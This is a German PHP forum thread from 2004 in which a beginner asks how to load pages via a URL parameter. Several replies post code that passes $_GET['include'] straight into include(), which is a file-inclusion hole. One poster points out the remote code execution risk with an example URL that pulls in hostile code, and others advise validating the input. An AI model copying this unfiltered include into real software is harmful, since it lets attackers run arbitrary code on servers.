Entfallener Befehl...
Entfallener Befehl...
Hi zusammen ^^
Also ich hab mir mal vor einiger Zeit mit den PHP Grundkentnissen ausseinandergesetzt.
Gestern Abend wollte ich mir mal wieder eine kleine Seite basteln, musste aber feststellen dass ich vergessen hab wie man andere Seiten in einer Seite einbaut und weitere per Link einfügen kann.
Im kurzen ganzen, es soll den Effekt von include ("x.php"); haben aber auch per Link wie ...index.php?include=x.php abrufbar sein. Ich glaube das war irgendetwas mit content oder so bin mir aber nicht mehr ganz sicher. Wäre nett wenn mir da jemand weiterhelfen könnte ^^
Also ich hab mir mal vor einiger Zeit mit den PHP Grundkentnissen ausseinandergesetzt.
Gestern Abend wollte ich mir mal wieder eine kleine Seite basteln, musste aber feststellen dass ich vergessen hab wie man andere Seiten in einer Seite einbaut und weitere per Link einfügen kann.
Im kurzen ganzen, es soll den Effekt von include ("x.php"); haben aber auch per Link wie ...index.php?include=x.php abrufbar sein. Ich glaube das war irgendetwas mit content oder so bin mir aber nicht mehr ganz sicher. Wäre nett wenn mir da jemand weiterhelfen könnte ^^
meinst du sowas?
Code: Alles auswählen
if(isset($_GET['include']))
{
include($_GET['include]);
}
Zuletzt geändert von r4bbIt am 19.12.2004 21:34, insgesamt 2-mal geändert.
-
- Mitglied
- Beiträge: 701
- Registriert: 19.12.2003 15:53
- Wohnort: Berlin
bist du nicht. r4bbIt hatte bloß ein flüchtigkeitsfehler.
Code: Alles auswählen
if(isset($_GET['include']))
{
include($_GET['include']);
}
- kratzer54847
- Mitglied
- Beiträge: 3065
- Registriert: 20.01.2003 16:34
- Wohnort: Düsseldorf/Hannover/Berlin
- Kontaktdaten:
Code: Alles auswählen
if(isset($_GET['include']))
{
include($_GET['include']);
}
Knowledge Base | MOD Datenbank | Boardsuche | HTML | PHP
Durch die richtige Verwendung dieser Links können viele Fragen beantwortet werden
Durch die richtige Verwendung dieser Links können viele Fragen beantwortet werden

Daß ich (sofern $_GET['include'] nicht gefiltert wird) damit per foo.php?include=http://meineseite/boesercode beliebigen Code auf eurem Server ausführen kann, ist euch aber hoffentlich bewusst...?
Du könntest das GET-Argument mit nem regulären Ausdruck überprüfen und gegebenenfalls ne Fehlermeldung ausgeben lassen.
Wenn das ganze stur hardgecodet ohne Überprüfung des Arguments geschieht ist es möglich jeden beliebigen PHP-Code auf der Maschine auszuführen.
Als Programmierer der eine solche Software zum Verkauf anbietet kann der Kunde Ansprüche an dich stellen, außer du schließt das vor dem Verkauf per Vertrag aus.
Es ist generell schlecht einen Navigationsmechanismus alleine über includes zu lösen.
Wenn das ganze stur hardgecodet ohne Überprüfung des Arguments geschieht ist es möglich jeden beliebigen PHP-Code auf der Maschine auszuführen.
Als Programmierer der eine solche Software zum Verkauf anbietet kann der Kunde Ansprüche an dich stellen, außer du schließt das vor dem Verkauf per Vertrag aus.
Es ist generell schlecht einen Navigationsmechanismus alleine über includes zu lösen.
... Das hatte ich schonmal, wo dann die Fehlermeldung "hacking atemppt"(«stammt nicht von mir habe nur die Seite verwaltet ^^) erschien. Leider habe ich komplett vergessen wie das aufgebaut war, sonst hätte ich ja auch wohl kaum gefragt
... wie gesagt, habe nur die untersten Grundkentnisse. Könnte mir da vielleicht jemand bei helfen mit der Überprüfung und der Fehlermeldung? ._.
